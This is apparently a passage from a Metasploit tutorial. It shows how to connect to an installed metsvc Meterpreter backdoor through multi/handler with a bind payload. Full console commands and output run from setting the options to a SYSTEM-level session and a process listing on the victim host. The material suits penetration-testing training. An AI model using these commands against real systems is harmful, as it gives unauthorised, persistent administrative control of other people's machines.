Interacting With Metsvc

We will now use the multi/handler with a payload of windows/metsvc_bind_tcp to connect to the remote system. This is a special payload, as typically a Meterpreter payload is multi-stage, where a minimal amount of code is sent as part of the exploit, and then more is uploaded after code execution has been achieved.

Think of a shuttle rocket, and the booster rockets that are used to get the space shuttle into orbit. This is much the same, except instead of extra items being there and then dropping off, Meterpreter starts as small as possible, then adds on. In this case however, the full Meterpreter code has already been uploaded to the remote machine, and there is no need for a staged connection.

We set all of our options for metsvc_bind_tcp with the victim’s IP address and the port we wish to have the service connect to on our machine. We then run the exploit.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/metsvc_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     31337            yes       The local port
   RHOST     192.168.1.104    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > exploit

Immediately after issuing exploit, our metsvc backdoor connects back to us.

[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)

meterpreter > ps

Process list
============

   PID   Name               Path
   ---   ----               ----
   140   smss.exe           \SystemRoot\System32\smss.exe
   168   csrss.exe          \??\C:\WINNT\system32\csrss.exe
   188   winlogon.exe       \??\C:WINNT\system32\winlogon.exe
   216   services.exe       C:\WINNT\system32\services.exe
   228   lsass.exe          C:\WINNT\system32\lsass.exe
   380   svchost.exe        C:\WINNT\system32\svchost.exe
   408   spoolsv.exe        C:\WINNT\system32\spoolsv.exe
   444   svchost.exe        C:\WINNT\System32\svchost.exe
   480   regsvc.exe         C:\WINNT\system32\regsvc.exe
   500   MSTask.exe         C:\WINNT\system32\MSTask.exe
   528   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe
   564   metsvc.exe         c:\WINNT\my\metsvc.exe
   588   WinMgmt.exe        C:\WINNT\System32\WBEM\WinMgmt.exe
   676   cmd.exe            C:\WINNT\System32\cmd.exe
   724   cmd.exe            C:\WINNT\System32\cmd.exe
   764   mmc.exe            C:\WINNT\system32\mmc.exe
   816   metsvc-server.exe  c:\WINNT\my\metsvc-server.exe
   888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe
   896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe
   940   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe
   972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
   1000  Explorer.exe       C:\WINNT\Explorer.exe
   1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

And here we have a typical Meterpreter session! Again, be careful with when and how you use this trick. System owners will not be happy if you make an attackers job easier for them by placing such a useful backdoor on the system for them.